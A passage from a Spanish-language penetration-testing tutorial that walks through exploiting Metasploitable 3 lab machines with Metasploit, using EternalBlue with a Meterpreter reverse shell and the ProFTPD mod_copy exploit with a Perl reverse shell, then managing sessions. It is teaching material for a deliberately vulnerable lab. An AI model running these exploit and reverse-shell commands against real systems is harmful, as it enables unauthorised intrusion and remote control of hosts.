Docly Child

4.2.5. Explotación de hosts y gestión de sesiones Shell y Meterpreter

En esta sección se van a realizar test de explotación en los servidores Metasploitable 3 para poner en práctica el funcionamiento de Metasploit. Una parte importante del proceso de explotación en Metasploit consiste en obtener una consola de línea de comandos (shell) o Meterpreter como payload, generando diferentes sesiones. Se recuerda que Meterpreter es un payload propio de Metasploit que proporciona un intérprete de comandos utilizando actores de inyección DLL en memoria y que se extiende sobre la red en tiempo de ejecución. Este se comunica sobre un actor socket y proporciona una completa interface en Ruby en el lado del cliente. Posteriormente, Meterpreter permite ejecutar otros payloads (https://www.offensive-security.com/metasploit-unleashed/about-meterpreter).  

Las siguientes prácticas se efectúan en un entorno local, disponiendo de máquinas virtuales para Metasploitable 3 en sus dos formas: Windows Server 2008 y un Linux, ambas con arquitectura de  computadora de 64 bits. En el gráfico se indican las IP privadas de cada máquina, así como los puertos que van a usarse en la máquina que va a efectuar el ataque para establecer las correspondientes shells de forma inversa (puertos 2222 y 4444):

Laboratorio Metasploitable 3

Previamente se ha realizado un escaneo de puertos y servicios para estas máquinas deliberadamente vulnerables. En este ejemplo se ha empleado Zenmap y guardado la información en formato XML para visualizar con un navegador. El resultado para cada una de ellas es el siguiente (se ha marcado en rojo los servicios que se van a explotar de forma remota, al tener vulnerabilidades de tipo RCE).

Servicios Metasploitable 3 Linux
Servicios Metasploitable 3 Windows Server 2008

Nota: Se recuerda que esta práctica solo es para conocer bien los comandos de msfconsole y es una muestra de explotación en un entorno local. No obstante, en el mundo real hay que incorporar otras técnicas que van desde el portforwarding hasta métodos de evasión de sistemas defensivos y rastreo. Además, al igual que las pruebas para escanear puertos servicios,  el uso de Exploits genera mucho ruido y puede hacer saltar las alarmas de los sistemas de defensa de una red informática. En todo caso, se recomienda hacer prácticas con las máquinas de Metasploitable 3 en todos sus servicios.

Centrándose en la máquina de Windows Server 2008, se va a emplear el ya presentado exploit Eternal Blue en combinación con el payload de Meterpreter para Windows. A continuación se detallan los comandos para setear de acuerdo a lo que se ha descrito en el punto anterior:

				
					msf > use windows/smb/ms17_010_eternalblue
msf > set RHOSTS 192.168.1.51
msf > set LHOST 192.168.1.47
msf > set payload windows/x64/meterpreter/reverse_tcp
msf > set target 3
3 == [Windows Server 2008 R2]

				
			

Introducidos los parámetros, se puede emplear en comando check para comprobar si realmente la máquina objetivo es vulnerable y finalmente el comando exploit para realizar el ataque informático. Durante el proceso de explotación, Metasploit informa de los diferentes eventos de forma más o menos detallada, en función del código del Exploit. Finalizado el proceso de explotación, se va a crear la sesión de Meterpreter.

				
					msf > check
msf > exploit

				
			
Explotación Metasploitable 3 Windows Server 2008

Una vez obtenida la consola de Meterpreter para Windows, es posible ver con el comando help las diferentes opciones. Estas se ampliaran en próximos puntos (postexplotación). En la siguiente pantalla se muestran algunos de los comandos más básicos para obtener información del directorio en que está ubicada la shell (system32), el proceso ocupado por Meterpreter en el sistema local y usuario empleado en el host (pwd, getuid y getpid respectivamente). Una vez obtenida la sesión, esta se mantiene estable en el puerto 4444 que se había parametrizado mientras no haya un problema en la red o en el funcionamiento del host remoto. Las sesiones de Meterpreter se pueden poner en un segundo plano con el comando background.

				
					meterpreter > pwd
meterpreter > getuid
meterpreter > getpid 
meterpreter > background

				
			
Sesión meterpreter Windows

Ahora se va a realizar el mismo proceso para el Metasploitable 3 versión Linux. En esta ocasión se va a usar el Exploit proftpd_modcopy_exec para el puerto 21 (FTP), donde opera un servicio vulnerable de la marca PROFTPD. Se va a usar como payload para generar una shell una versión para UNIX escrita en lenguaje de programación Perl. Además, debe corregirse el valor del parámetro SITEPATH que indica el directorio donde va a descargarse y ejecutar de forma remota una parte del payload en lenguaje PHP (para ver más detalles de este Exploit consultar: https://www.rapid7.com/db/modules/exploit/unix/ftp/proftpd_modcopy_exec/). Los parámetros seteados son los siguientes, de acuerdo al esquema mostrado al principio.

				
					msf > use unix/ftp/proftpd_modcopy_exec
msf > set payload payload/cmd/unix/reverse_perl
msf > set RHOSTS 192.168.1.50
msf > set LHOST 192.168.1.47
msf > set LPORT 2222
msf > set SITEPATH /var/www/html

				
			

La secuencia para proceder a la explotación es la misma también (comando exploit). Cuando se obtiene una shell que no sea Meterpreter, se recomienda emplear el comando help para obtener información de las opciones disponibles. El payload de una shell está codificado en un lenguaje de programación determinado y normalmente para un sistema operativo en concreto, por lo que se puede tener muchas diferencias entre shells en cuanto al uso. En este caso esta shell también puede ponerse en segunda plano con el comando background.

				
					shell > help
shell > background

				
			
Metasploitable 3 Linux Shell

Ahora que se tiene dos sesiones en segundo plano, es el momento de aprender a gestionar estas sesiones desde msfconsole. El comando básico para ello es sessions, con las diferentes opciones propuestas en los parámetros. Algunos de los comandos básicos permiten recuperar o terminarla sesión, mientras que otros permiten ejecutar código remoto o emplear módulos de postexplotación a partir de la sesión, entre otras funcionalidades que se mostraran en detalle en siguientes puntos. En la imagen siguiente se han indicado algunos de los parámetros más recurrentes:

				
					msf > sessions -h
				
			
Comando sessions msfconsole

Con el comando sessions -l se listan las sesiones disponibles. Metasploit proporciona información en formato tabla indicando la Id de la sesión, nombre (se puede poner con el parámetro -n, ver pantalla arriba), el tipo (se corresponde a la descripción del payload), información de sesión (Information) e información de conexión (Connection). Para volver a usar en primer plano alguna sesión hay que usar el parámetro -i seguido de la ID, como se indica en esta pantalla a partir de la sesiones creadas con las máquinas Metasploitable 3:

				
					msf > sessions -l
msf > sessions –i <Id>

				
			
Información de sesiones Metasploit